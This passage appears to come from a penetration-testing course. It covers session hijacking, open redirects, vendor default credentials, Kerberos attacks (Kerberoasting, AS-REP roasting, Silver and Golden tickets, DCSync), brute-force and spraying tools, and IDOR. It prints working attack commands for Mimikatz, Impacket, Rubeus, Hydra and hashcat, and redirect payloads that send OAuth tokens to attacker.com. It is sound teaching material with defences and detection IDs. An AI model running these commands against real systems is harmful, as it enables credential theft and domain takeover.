Domain: 127.0.0.1

Step 3: Navigate to the authenticated area in Browser B
Without logging in, you are now authenticated as User A
`

This demonstrates the complete session hijacking attack in a controlled environment. The defense test is to verify that the same session ID cannot be used after logout (server-side session invalidation).

6.5.3 Practice — Session Hijacking Techniques

Setting Up a Session Capture Environment with Burp

The most professional approach to session hijacking in an authorized assessment uses Burp Suite as the central interception and token manipulation platform.

Capture sessions with Burp:

Configure your browser to proxy through Burp (127.0.0.1:8080)
Log in to the target application as your test user
In Burp → Proxy → HTTP History, find the POST request to the login endpoint
In the response to that login request, look for the Set-Cookie header — this is where the session token is issued
Note the full cookie value

Analyze session token quality with Burp Sequencer:
Burp Suite includes a token analysis tool that tests whether session IDs are cryptographically random:

In HTTP History, find any response that sets a session cookie
Right-click → "Send to Sequencer"
Configure Burp to extract the cookie value from responses
Start automatic analysis — Burp will request fresh tokens and analyze their statistical randomness
Results show an entropy level and confidence rating
Low entropy means tokens may be predictable — a serious finding

Cookie flag analysis:
For every Set-Cookie header found during assessment:
`
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Strict

Checklist:
☐ HttpOnly present? (missing = XSS can steal cookie)
☐ Secure present? (missing = cookie sent over HTTP)
☐ SameSite present and not None? (missing/None = CSRF risk)
☐ Max-Age or Expires set? (missing = session-lifetime cookie)
☐ Domain attribute appropriate? (too broad = subdomain risk)
`

Testing logout invalidation:
`

Log in — capture session token T1
Perform some authenticated actions — verify T1 works
Log out
In Burp Repeater, replay a previously captured authenticated request using T1
If server returns 401/403/redirect: ✓ Correct behavior
If server returns 200 with authenticated content: ✗ Session not invalidated `

6.5.4 Redirect Attacks — The Open Redirect Vulnerability

What Open Redirect Is

An open redirect vulnerability occurs when a web application accepts a user-supplied URL as a parameter and redirects the user to that URL without validation. The application blindly redirects to whatever the user provides in the ?next=, ?redirect=, ?url=, ?return=, or similar parameters.

On the surface this sounds minor — what harm is there in redirecting someone to a URL? The harm is in trust. Legitimate organizations' URLs carry trust. A phishing link from bank.example.com/login?next=https://attacker.com/fake-login looks far more credible than a direct link to attacker.com/fake-login. The domain in the visible part of the URL is the trusted bank's domain. The user follows the link, sees the bank's domain, and feels safe. Then they are redirected to the attacker's fake login page.

Attack Scenarios

Phishing amplification:
The attacker crafts a redirect URL that starts at a legitimate, trusted domain and ends at a malicious one:
` https://trusted-bank.com/auth/logout?next=https://attacker.com/bank-login `
The user sees trusted-bank.com at the start of the URL. They click, the bank's server redirects them to attacker.com/bank-login (which looks identical to the real login page), they enter their credentials, and the credentials are captured.

OAuth token theft:
OAuth authorization flows frequently use redirect URIs to send authorization codes and tokens back to the application after authentication. If an application registers a redirect URI like https://app.example.com/callback but the authorization server validates redirects too loosely, an attacker can use an open redirect on app.example.com to redirect OAuth tokens to their own server:

` https://oauth-server.com/authorize?client_id=app&redirect_uri=https://app.example.com/redirect?next=https://attacker.com/capture `

The OAuth server sends the token to app.example.com/redirect, which immediately redirects it to attacker.com/capture. The attacker receives the OAuth token without the user noticing.

SSRF enablement:
In some contexts, open redirects can enable SSRF (Server-Side Request Forgery). If a server-side request follows redirects and an open redirect is accessible, the attacker can chain: SSRF → open redirect → internal URL to reach internal services.

Detecting Open Redirects

During assessment, systematically check for redirect parameters:

`bash

Parameters commonly used for redirects:

?next=
?redirect=
?redirect_uri=
?redirect_url=
?url=
?return=
?return_to=
?returnUrl=
?dest=
?destination=
?go=
?forward=
?target=
?continue=

Test payload — detect if the server follows your redirect:

?next=https://attacker.com

For blind detection (server-side redirect not visible):

?next=https://your-burp-collaborator-id.burpcollaborator.net

Bypass common validation (filtering only first URL):

?next=https://trusted.com@attacker.com
?next=https://trusted.com.attacker.com
?next=//attacker.com (protocol-relative)
?next=/\attacker.com (backslash in some browsers treated as /)
?next=https://attacker%2ecom (URL encoding)

Using known open redirects in Google and other trusted services to chain:

https://www.google.com/url?q=https://attacker.com

https://accounts.google.com/SignOutOptions?continue=https://attacker.com

Automated detection with nuclei:
`bash nuclei -u https://target.com -tags redirect nuclei -u https://target.com -id open-redirect `

Defense

Server-side validation should either:

Use an allowlist of permitted redirect destinations — only specific, pre-approved URLs are allowed
Avoid redirecting to external URLs entirely — only allow redirect within the same domain using relative paths
Validate that the redirect target's domain matches the application's domain

Never rely on client-side validation for redirect targets.

6.5.5 Default Credentials — The Easiest Win in Security Testing

Why Default Credentials Are Still Everywhere

You would think that in 2024, with decades of security awareness campaigns and regulatory requirements demanding strong authentication, default credentials would be a solved problem. They are not. In fact, default credentials remain one of the most consistently productive findings in penetration testing assessments.

The reasons are structural:

Scale problem: An enterprise network may have thousands of devices — routers, switches, firewalls, printers, cameras, access points, storage devices, servers, and dozens of categories of IoT and OT devices. Each one shipped from the factory with a default credential. A single administrator responsible for hundreds of devices, under pressure to keep systems operational, will inevitably miss some.

Legacy systems: Devices that have been running for years were set up before current security policies were in place. They have never been revisited because they are "working fine."

Vendor default persistence: Some vendors configure devices to use the same default credential for all customers — sometimes the device serial number, sometimes admin/admin, sometimes the device hostname. Enterprise IT teams may not realize that what seems like a unique credential is actually published in the vendor documentation.

Non-IT device categories: Facilities systems (HVAC, cameras, door access systems, building management systems), medical devices, industrial controllers — these are managed by facilities or operations teams, not IT, and security hygiene standards often differ significantly.

Shadow IT: Devices deployed by individual teams without going through the standard IT provisioning and configuration process often have never had their default credentials changed.

Where to Find Default Credentials

Router, switch, and firewall admin interfaces:
Network device web interfaces are almost always on common ports (80, 443, 8080, 8443) on device management IPs. Vendors publish their default credentials in documentation:

Vendor	Common Default Credentials
Cisco	admin/cisco, cisco/cisco, admin/(blank)
Netgear	admin/password, admin/1234
D-Link	admin/(blank), admin/admin
TP-Link	admin/admin
Ubiquiti	ubnt/ubnt
Fortinet FortiGate	admin/(blank)
Palo Alto	admin/admin
Juniper	root/(blank), admin/(blank)

IP cameras and surveillance systems:

Security cameras are notorious for default credentials. The Mirai botnet — which in 2016 took down a significant portion of the internet's infrastructure in a DDoS attack — infected primarily cameras and DVRs using default credentials. The problem persists:

Brand	Common Defaults
Hikvision	admin/12345, admin/admin
Dahua	admin/admin
Axis	root/pass, root/(blank)
Samsung	admin/4321

Database servers:

Database	Common Default Credentials
MySQL	root/(blank), root/root
PostgreSQL	postgres/postgres, postgres/(blank)
MSSQL	sa/(blank), sa/sa
MongoDB	(no auth by default in older versions)
Redis	(no auth by default)
Elasticsearch	elastic/changeme

Application admin panels:

Application	Common Defaults
WordPress	admin/admin, admin/password
Joomla	admin/admin
Drupal	admin/admin
Magento	admin/admin123
phpMyAdmin	root/(blank)
Jenkins	admin/admin (or generated during install)
Grafana	admin/admin
Kibana	elastic/changeme
Tomcat Manager	admin/admin, tomcat/tomcat, admin/tomcat

Resources for Default Credential Lookup

Default Credentials Cheat Sheet:
https://github.com/ihebski/DefaultCreds-cheat-sheet
A comprehensive database of default credentials for hundreds of vendors and products.

Router Default Passwords:
https://www.routerpasswords.com
Searchable database of router default credentials.

Shodan:
Shodan searches can find devices with known default credentials. Some Shodan search queries for devices with known defaults:
`

Hikvision cameras (common in enterprise surveillance)

product:"Hikvision IP Camera"

Cisco devices

product:"Cisco" port:80

Find devices with specific default-credential indicators in banners

"default password"
"admin password" "not changed"
`

Testing Default Credentials in an Assessment

`bash

Manual testing approach - use Burp Suite Intruder

Import a credential wordlist (default_creds.txt format: username:password)

Configure Intruder to test each pair against the login endpoint

Automated testing with Hydra:

hydra -L usernames.txt -P passwords.txt http-post-form://target/login:username=^USER^&password=^PASS^:Login failed

Nuclei default credential templates:

nuclei -u https://target.com -tags default-login
nuclei -l targets.txt -tags default-login -severity critical,high

Medusa for network services:

medusa -h target -U users.txt -P passwords.txt -M http

nmap NSE script for common default credentials:

nmap --script http-default-accounts -p 80,443,8080,8443 target
`

The professional workflow:

During network scanning, identify all web-accessible management interfaces (flag all open ports 80, 443, 8080, 8443, 8888)
For each interface, identify the technology (Cisco, Axis, Jenkins, phpMyAdmin, etc.) from the login page or HTTP headers
Look up known default credentials for that technology
Test manually first (3-5 credential pairs) before launching automated tools
If an automated attack is needed, use the specific default credential list for that vendor rather than a generic password list

6.5.6 Kerberos Vulnerabilities — Breaking Windows Domain Authentication

Understanding Kerberos — The Protocol You Must Know

Kerberos is the primary authentication protocol in Active Directory environments — which means it is the authentication protocol in the majority of enterprise corporate networks worldwide. Every Windows domain login, every SMB file share access, every SQL Server connection in a domain environment goes through Kerberos.

Understanding how Kerberos works mechanically is the prerequisite for understanding why the attacks against it work. Many security professionals learn Kerberoasting commands without understanding the protocol, which means they cannot adapt when something does not work as expected or explain their findings clearly to clients.

The three parties in every Kerberos exchange:

KDC (Key Distribution Center): Runs on the Domain Controller. The central authority that manages all authentication in the domain. Contains two services: the AS (Authentication Service) which handles initial authentication, and the TGS (Ticket Granting Service) which issues service tickets.

Client: The user or machine requesting access to a resource.

Service: The server or service the client wants to access (a file server, a database, a web application, a print server).

The Kerberos flow — step by step:

Step 1 — AS-REQ (Authentication Service Request):
When you log into a Windows domain, your workstation sends an AS-REQ to the KDC. This request includes your username and a timestamp encrypted with the NT hash of your password (your password hash). The encrypted timestamp proves you know your password without sending the password itself.

Step 2 — AS-REP (Authentication Service Reply):
The KDC decrypts the timestamp using the stored hash of your password. If it decrypts correctly and the timestamp is within the allowed window (5 minutes by default), you are authenticated. The KDC sends back two things: a session key encrypted with your password hash (for you to use in subsequent steps), and the TGT (Ticket Granting Ticket) encrypted with the hash of the special krbtgt account.

The TGT is your "proof of authentication" for the rest of your session. It contains your identity, your group memberships, and an expiration time. You cannot read or modify it because it is encrypted with the krbtgt hash, which you do not have.

Step 3 — TGS-REQ (Ticket Granting Service Request):
When you want to access a specific service (say, a file server), you send the TGT to the TGS and request a Service Ticket (ST) for the specific service, identified by its SPN (Service Principal Name).

Step 4 — TGS-REP (Ticket Granting Service Reply):
The TGS decrypts your TGT using the krbtgt hash, verifies it is valid, and issues a Service Ticket encrypted with the hash of the service account that runs the target service. You receive this Service Ticket but cannot read its contents because it is encrypted with the service account's hash.

Step 5 — AP-REQ (Application Request):
You present the Service Ticket to the target service. The service decrypts it using its own account's hash, verifies you are authorized, and grants access. Crucially: the service never contacts the KDC to verify the ticket. It trusts it entirely based on its own ability to decrypt it. This is the architectural fact that enables Silver Ticket attacks.

This entire exchange contains four attack surfaces:

Pre-authentication disabled → AS-REP Roasting
Service ticket encrypted with service account hash → Kerberoasting
Forged TGT using krbtgt hash → Golden Ticket
Forged Service Ticket using service account hash → Silver Ticket

Attack 1 — Kerberoasting

The vulnerability:
In step 4 above, the KDC issues a Service Ticket encrypted with the hash of the service account that runs the requested service. Any domain user can request a Service Ticket for any service. The ticket is encrypted with the service account's hash.

If an attacker requests a Service Ticket for a service and captures the encrypted ticket, they have an encrypted blob that was encrypted with the service account's password hash. They can take this offline and crack it — trying passwords until one produces the correct hash to decrypt the ticket.

The prerequisite for exploitation:
The service must have an SPN (Service Principal Name) registered. SPNs identify which accounts run which services. Any domain account can have an SPN if a domain admin or the account itself registers one.

` Example SPNs: MSSQLSvc/SQLSERVER01.corp.local:1433 (SQL Server) HTTP/webapp.corp.local:443 (Web Application) WSMAN/DC01.corp.local (Windows Remote Management) `

Why it matters: Service accounts — accounts that run services like SQL Server, IIS, Exchange — often have weak passwords. They were set up once, years ago, with a password like Password1234 that never changes because the service would break if the password changed. Kerberoasting extracts their password hash encrypted in a crackable format.

Execution:

`powershell

On a Windows machine in the domain (requires only a domain user account):

Using PowerView (PowerSploit) — enumerate SPNs

Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName

Using built-in setspn tool (reconnaissance):

setspn -Q / | findstr /v host/

Request and capture TGS tickets for all SPNs (Invoke-Kerberoast):

Import-Module .\PowerSploit.ps1
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation

Or using Rubeus (preferred modern tool):

.\Rubeus.exe kerberoast /output:hashes.txt /nowrap
.\Rubeus.exe kerberoast /user:svc_sql /output:sql_hash.txt # Target specific account
`

`bash

From Linux using Impacket:

GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -outputfile kerberoast_hashes.txt
GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request # Output to screen

If you have an NT hash instead of password (pass-the-hash):

GetUserSPNs.py DOMAIN/username -hashes :NTLM_HASH -dc-ip DC_IP -outputfile hashes.txt
`

Cracking the hashes:

Kerberoast hashes are in Kerberos 5 TGS-REP etype 23 format, which is hashcat mode 13100.

`bash

Hashcat — GPU cracking (dramatically faster than CPU):

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt

With rules (for mangled passwords like Password1!, Summer2023@):

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

John the Ripper alternative:

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

If the password is simple, it cracks in seconds to minutes

If the password is complex (25+ random chars), cracking is computationally infeasible

What to do with a cracked service account password:
Service accounts often have elevated privileges — SQL Server service accounts frequently have sysadmin rights in SQL Server. They may be local administrators on the servers where the service runs. Some organizations give service accounts domain admin privileges (this is a misconfiguration but is very common). The cracked password is used to authenticate as the service account and explore its access.

Attack 2 — AS-REP Roasting

The vulnerability:
Kerberos pre-authentication is a security feature that requires users to prove they know their password before receiving a TGT. Specifically, the client must encrypt the current timestamp with their password hash and send it to the KDC. If the encrypted timestamp decrypts correctly to a valid current time, the KDC sends the TGT.

When pre-authentication is disabled for an account, the KDC will send a TGT to anyone who asks for it — without requiring the timestamp proof. The TGT is encrypted with the user's password hash. An attacker can request the TGT and crack it offline.

Pre-authentication is disabled in real environments more often than you would expect — it is sometimes disabled for compatibility with legacy applications that do not support Kerberos pre-authentication, for certain service accounts, or by administrators who do not understand the security implication.

Execution:

`bash

From Linux using Impacket (no domain credentials needed — only username list):

GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -outputfile asrep_hashes.txt
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass

From Linux with domain credentials (enumerate users with pre-auth disabled):

GetNPUsers.py DOMAIN/username:password -dc-ip DC_IP -request -outputfile asrep_hashes.txt

From Windows using Rubeus:

.\Rubeus.exe asreproast /output:asrep_hashes.txt /nowrap

From Windows using PowerView — enumerate accounts with pre-auth disabled:

Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName
`

Cracking AS-REP hashes:

AS-REP hashes are in Kerberos 5 AS-REP etype 23 format, hashcat mode 18200.

`bash
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
`

Key difference from Kerberoasting: AS-REP Roasting does not require any domain credentials to execute — you only need a list of usernames. This makes it useful very early in an engagement, even before you have any authenticated access.

Attack 3 — Pass-the-Ticket

The concept:
Once an attacker has valid Kerberos tickets (either legitimately obtained by authenticating as a compromised account, or forged), they can inject those tickets into their own session and use them to authenticate to services without needing the account's password.

`bash

On Windows: export current tickets from memory

Mimikatz:

privilege::debug
sekurlsa::tickets /export

Rubeus:

.\Rubeus.exe dump /nowrap
.\Rubeus.exe triage # List all tickets in memory

Import a ticket (pass-the-ticket):

.\Rubeus.exe ptt /ticket:BASE64_TICKET_DATA

Mimikatz:

kerberos::ptt ticket.kirbi

After importing the ticket, use it to access the service:

The ticket is now in your session and will be presented to the target service

dir \file-server\share
`

Attack 4 — Silver Ticket

The concept:
Remember from the Kerberos flow: Service Tickets are encrypted with the service account's hash, and the service validates them by decrypting with its own hash — never contacting the KDC. If an attacker knows a service account's NT hash, they can forge a Service Ticket for that service with any identity claims they want.

A forged Silver Ticket can specify:

Any username (even Administrator)
Any group memberships (including Domain Admins)
Any expiry time

Because the service never contacts the KDC to verify the ticket, there is no central check that could reject the forged ticket. The service decrypts it with its hash, finds it "valid," and grants access.

What you need: The NTLM hash of the service account and the domain's SID (Security Identifier).

`bash

Get domain SID:

In PowerShell:

(Get-ADDomain).DomainSID

Or from a domain user's token:

whoami /user # The SID without the last -RID is the domain SID

Forge a Silver Ticket (Impacket):

ticketer.py -nthash SERVICE_ACCOUNT_NTLM_HASH \
-domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \
-domain corp.local \
-spn CIFS/fileserver.corp.local \
Administrator

This creates a .ccache file containing the forged ticket

Use the forged ticket:

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@fileserver.corp.local

Mimikatz Silver Ticket (Windows):

kerberos::golden /user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-... \
/target:fileserver.corp.local \
/service:cifs \
/rc4:SERVICE_ACCOUNT_NTLM_HASH \
/ptt # inject into session immediately
`

Silver vs Golden Ticket:
Silver Ticket: Access to ONE specific service only. Harder to detect (DC never contacted).
Golden Ticket: Access to ANY service in the domain. Requires the krbtgt hash.

Attack 5 — Golden Ticket

The concept:
The TGT (Ticket Granting Ticket) is encrypted with the krbtgt account's hash. The krbtgt account is a special account in every Active Directory domain — it never logs in interactively, its password is automatically managed by Active Directory, and its hash is used to encrypt and validate every TGT in the domain.

If an attacker obtains the krbtgt account's NTLM hash, they can forge a TGT for any user with any privileges, valid for any duration. This forged TGT is a Golden Ticket — presented to the KDC, which validates it by decrypting with its krbtgt hash, which is exactly what the attacker used to create it. The KDC cannot distinguish the forged ticket from a legitimate one.

A Golden Ticket remains valid even after the compromised user's password is changed. The only way to invalidate a Golden Ticket is to change the krbtgt account's password twice (because Kerberos supports rolling the password for compatibility — the previous password remains valid for a period, so one change is insufficient).

What you need: The krbtgt account's NTLM hash. This requires Domain Admin privileges to obtain — typically achieved through the DCSync attack (replicating Active Directory's password database using the DS-Replication-Get-Changes-All privilege).

`bash

DCSync — replicate credentials from DC (requires Domain Admin or equivalent):

Impacket:

secretsdump.py -just-dc-user krbtgt DOMAIN/DomainAdmin:password@DC_IP

Mimikatz:

privilege::debug
lsadump::dcsync /user:krbtgt

Output includes the krbtgt NTLM hash

Forge a Golden Ticket:

ticketer.py -nthash KRBTGT_NTLM_HASH \
-domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \
-domain corp.local \
Administrator

The ticket is valid for 10 years by default (duration configurable)

Using the ticket:

export KRB5CCNAME=Administrator.ccache
smbclient.py -k -no-pass corp.local/Administrator@DC01.corp.local

Mimikatz Golden Ticket (Windows):

kerberos::golden /user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-... \
/krbtgt:KRBTGT_NTLM_HASH \
/ptt
`

Attack 6 — Kerberos Delegation Abuse

Unconstrained Delegation:
Active Directory allows certain computers and service accounts to impersonate users for Kerberos authentication — called delegation. In "unconstrained delegation," the machine stores the user's full TGT in memory when they authenticate to it. An attacker who compromises a machine with unconstrained delegation enabled can extract all TGTs from that machine's memory using Mimikatz and use them to authenticate to any service on the domain as any user who connected to that machine.

Identifying unconstrained delegation:
`bash

PowerView:

Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName

LDAP query:

ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" \
"(&(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(name=KRBTGT))(!(name=DC)))" \
name
`

Constrained Delegation:
More controlled than unconstrained — the service can only delegate to specific listed services. Still abusable if an attacker compromises an account with constrained delegation configured.

Detection Event IDs — What Defenders Look For

Attack	Key Event ID	What Triggers It
Kerberoasting	4769	TGS requested with RC4 encryption (etype 0x17)
AS-REP Roasting	4768	TGT requested where pre-auth disabled
Golden Ticket	4769, 4672	TGS request — but suspicious (no preceding AS-REQ, or very long validity)
Silver Ticket	(nothing at DC)	DC is never contacted — detected only at endpoint level
DCSync	4662	DS-Replication-Get-Changes-All accessed from non-DC machine

The hardest to detect is the Silver Ticket — because the Domain Controller is never involved in ticket validation, no DC logs are generated. Detection requires endpoint telemetry from the service host, comparing service logons with expected behavior.

6.5.7 Practice — Kerberos Attack Execution

Lab Environment Setup

Kerberos attacks require a Windows Active Directory environment. The most accessible options for lab practice:

Option 1 — GOAD (Game of Active Directory):
https://github.com/Orange-Cyberdefense/GOAD

GOAD deploys a complete multi-domain Active Directory environment with intentional misconfigurations using Vagrant and VirtualBox/VMware. It takes approximately 2-4 hours to deploy but provides a realistic enterprise AD environment for practicing all Kerberos attacks.

Option 2 — VulnAD:
https://github.com/WazeHell/vulnerable-AD

A PowerShell script that deploys a vulnerable Active Directory on Windows Server. Faster to set up than GOAD if you already have a Windows Server VM.

Option 3 — HackTheBox and TryHackMe:
Both platforms have Windows Active Directory machines and rooms specifically for practicing Kerberoasting, AS-REP Roasting, and ticket attacks. No local infrastructure needed.

Complete Kerberoasting Practice Sequence

`bash

Step 1: Enumerate SPNs (from Kali with domain credentials)

GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10

Output shows accounts with SPNs registered:

ServicePrincipalName Name MemberOf PasswordLastSet

CIFS/filesvr.corp.local svc_fs ... 2020-01-15

MSSQLSvc/sqlsvr.corp.local svc_sql ... 2019-06-20

Step 2: Request tickets and save to file

GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10 -request -outputfile hashes.txt

Step 3: Examine hash format (should match hashcat mode 13100):

cat hashes.txt

$krb5tgs$23$svc_sql$corp.local$MSSQLSvc/sqlsvr.corp.local$...

Step 4: Crack with hashcat

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --show

Step 5: Once cracked, test access

If svc_sql password = 'Summer2023!':

smbclient.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local
secretsdump.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local
`

6.5.8 Lab — Using Password Tools

The Complete Password Attack Toolkit

This lab consolidates password-focused authentication attacks using the professional tool set.

Hydra — Network Service Brute Force:

Hydra is the primary tool for brute forcing network authentication services — SSH, FTP, HTTP login forms, SMTP, RDP, MySQL, and many others.

`bash

SSH brute force (after confirming it's in scope):

hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target

HTTP POST form brute force:

First, capture a failed login in Burp to see the form parameters

hydra -l admin -P /usr/share/wordlists/rockyou.txt target \
http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

HTTP basic authentication:

hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-get /admin/

FTP:

hydra -L users.txt -P passwords.txt ftp://target

MySQL:

hydra -l root -P /usr/share/wordlists/rockyou.txt target mysql

RDP:

hydra -l Administrator -P /usr/share/wordlists/rockyou.txt rdp://target

Multiple hosts:

hydra -l admin -P passwords.txt -M hosts.txt ssh

Rate limiting / stealth options:

hydra -l admin -P passwords.txt -t 1 -W 3 ssh://target

-t 1: one thread (slow but stealthy)

-W 3: wait 3 seconds between attempts

Medusa — Alternative Brute Force Tool:

`bash

SMTP user enumeration and brute force:

medusa -h target -U users.txt -P passwords.txt -M smtp

HTTP form:

medusa -h target -U users.txt -P passwords.txt -M http -m FORM:/login
`

Password Spraying — Avoiding Lockout:

Unlike brute force (many passwords per account), password spraying tests one or few passwords against many accounts. This avoids triggering account lockout thresholds.

`bash

Microsoft 365 / Azure AD password spray:

MSOLSpray (specific for O365):

Invoke-MSOLSpray -UserList users.txt -Password 'Summer2024!'

TREVORspray (with IP rotation for larger campaigns):

trevorspray -t targets.txt --use-proxy-file proxies.txt -p 'Summer2024!'

General web form spray with Hydra (one password, many users):

hydra -L users.txt -p 'Password123' target http-post-form "/login:user=^USER^&pass=^PASS^:failed"
`

Hashcat — Offline Hash Cracking:

`bash

Identify hash type first:

hashid hash.txt # hashid tool
hash-identifier # interactive tool

Common hash modes:

0: MD5

100: SHA1

1000: NTLM

1800: SHA-512crypt (Linux shadow file)

3200: bcrypt

5500: NTLMv1

5600: NTLMv2 (Responder captures)

13100: Kerberos 5 TGS-REP (Kerberoasting)

18200: Kerberos 5 AS-REP (AS-REP Roasting)

16500: JWT HS256

Dictionary attack:

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt

Rules-based attack (most effective for real passwords):

hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule

Combination attack (combine two wordlists):

hashcat -m 1000 ntlm_hashes.txt -a 1 wordlist1.txt wordlist2.txt

Mask attack (pattern-based — e.g., all passwords ending in 2024!):

hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l2024!

?u = uppercase, ?l = lowercase, ?d = digit, ?s = special

Prince attack (generates intelligent combinations):

hashcat -m 1000 ntlm_hashes.txt -a 6 rockyou.txt ?d?d?d?d

Check cracked hashes:

hashcat -m 1000 ntlm_hashes.txt --show
`

6.6 Exploiting Authorization-Based Vulnerabilities

6.6.1 Overview — What Authorization Means and Why It Fails

Authorization is the system of rules that determines what an authenticated user is permitted to do. You have already proved who you are (authentication). Now the question is what you are allowed to access, modify, delete, or execute.

Authorization failures are the most prevalent category of web application vulnerability. OWASP found authorization weaknesses in 94% of tested applications — an incidence rate higher than any other vulnerability category. The reason is structural: authorization is fundamentally different from authentication in that it requires correct decisions at every single endpoint and every single resource, for every combination of user role and action. A single missed check creates a vulnerability.

Authentication has relatively few places where it can fail — the login form, the session management, the MFA flow. Authorization potentially fails at every single API endpoint, every URL, every database query, every function. In a modern web application with hundreds of endpoints, each endpoint needs its own authorization check. Each check must correctly evaluate whether the requesting user's role and identity entitles them to perform the requested action on the requested resource. One missed check means an attacker who finds that endpoint can bypass the entire authorization system for that resource.

The most important distinction to internalize:

Authentication prevents unauthenticated access — it keeps strangers out of the building.

Authorization prevents unauthorized actions by authenticated users — it prevents employees from accessing other employees' personnel files.

Both are necessary. Neither is sufficient without the other.

The Authorization Models

Understanding authorization models is important because the model an application uses determines how it can fail.

RBAC — Role-Based Access Control:
Permissions are assigned to roles, and users are assigned to roles. A user in the "viewer" role can read records. A user in the "editor" role can read and write. A user in the "admin" role can read, write, and delete.

RBAC fails when role assignments are incorrect (a user gets a role they should not have), when role checks are missing (a developer forgot to add the role check to a new endpoint), or when roles are too coarse-grained (all "editors" can edit all records, but they should only edit their own).

ABAC — Attribute-Based Access Control:
Access decisions are based on attributes of the user, the resource, and the environment. "User can access document if user.department == document.department AND document.classification <= user.clearance_level."

ABAC is more flexible and precise than RBAC but harder to implement correctly. Failure modes often involve missing attribute checks or incorrect attribute comparisons.

DAC — Discretionary Access Control:
Resource owners control access to their resources. The creator of a file can grant access to others. Common in file systems and some web applications.

DAC fails when ownership is not properly tracked or when the access control checks are missing, allowing non-owners to access resources.

6.6.2 IDOR — Insecure Direct Object Reference

The Concept

IDOR is the most frequently found authorization vulnerability in penetration testing and bug bounty programs. It occurs when an application uses a user-supplied identifier to access an object directly — a database record, a file, an account — without verifying that the requesting user is authorized to access that specific object.

The "direct object reference" means the identifier directly maps to a storage object — a database row ID, a filename, a sequential record number. The "insecure" means this reference is used without access control verification.

Imagine a healthcare portal where patients view their lab results. The URL structure is:
` https://patient-portal.hospital.com/results?patient_id=10042 `

The application receives patient_id=10042, queries the database for that patient's results, and displays them. If the application does not verify that the authenticated user is patient 10042, any authenticated patient can view any other patient's results by changing the ID.

This is IDOR. It is simple, it is extraordinarily common, and it can have catastrophic consequences. Healthcare, financial, legal, and HR systems contain among the most sensitive personal data that exists. A single IDOR in these systems can expose millions of records.

IDOR Variations — Beyond Simple Numeric IDs

Sequential numeric IDs (the classic case):
` /api/orders/1042 → change to /api/orders/1043 /profile?id=887 → change to /profile?id=888 /invoice/00234 → change to /invoice/00235 `

UUIDs and GUIDs:
Applications sometimes use UUIDs (Universally Unique Identifiers) like 550e8400-e29b-41d4-a716-446655440000 thinking their unpredictability provides access control. This is security through obscurity — if the UUID leaks anywhere (another API response, a log, a URL in an email), the protection is gone. Proper authorization checks are still required.

Indirect references — not IDs but other references:
Filenames: /download?file=invoice_alice_2024.pdf → /download?file=invoice_bob_2024.pdf
Email addresses: /account?email=alice@example.com → /account?email=bob@example.com
Hashed references: Hash the ID and use the hash as the reference — still IDOR if access control is missing

Parameter pollution — multiple values:
Some applications parse the first or last occurrence of a parameter. Sending:
` ?user_id=1042&user_id=1001 `
Might access user 1001's data if the server takes the last value, while the authorization check uses the first.

Mass Assignment / Auto-binding:
In frameworks that automatically bind request parameters to model objects (Ruby on Rails, ASP.NET MVC), submitting additional parameters that are not in the form but are valid model attributes may be accepted. If a form submits name and email but the model also has a role attribute, submitting name=Alice&email=a@b.com&role=admin might update the role if mass assignment protection is not in place.

Finding IDOR — The Methodology

IDOR discovery requires systematic enumeration and comparison. The core technique: identify every place the application exposes object identifiers, then test whether access control is enforced.

Step 1: Map all object identifiers

Browse the application thoroughly with Burp running. Look for:

Numeric IDs in URLs: /users/1042, /orders/88, /documents/567
IDs in query parameters: ?id=1042, ?order_id=88
IDs in POST bodies: {"user_id": 1042, "action": "view"}
IDs in JSON API responses (these are candidates for subsequent requests)
References in hidden form fields

Step 2: Create two test accounts

For proper IDOR testing, you need two accounts at the same privilege level (or sometimes different levels):

Account A: User A (your test account with known data)
Account B: User B (another test account)

Step 3: As User A, identify your object IDs

Step 4: As User A, attempt to access User B's objects

Without logging out, change the ID in requests to point to User B's objects. If User A can read, modify, or delete User B's data, IDOR is confirmed.

Step 5: As User A, attempt to access admin-only objects

Try accessing IDs in ranges you would not expect to have access to. Try ID=1 (often an admin or first user). Try very low IDs (older records that might be admin-created). Try IDs from other parts of the application.

Tools:

`bash

Burp Suite Intruder — enumerate ID ranges:

1. In Burp, send a request with an ID parameter to Intruder

2. Mark the ID value as the payload position

3. Set a number payload from 1 to 10000

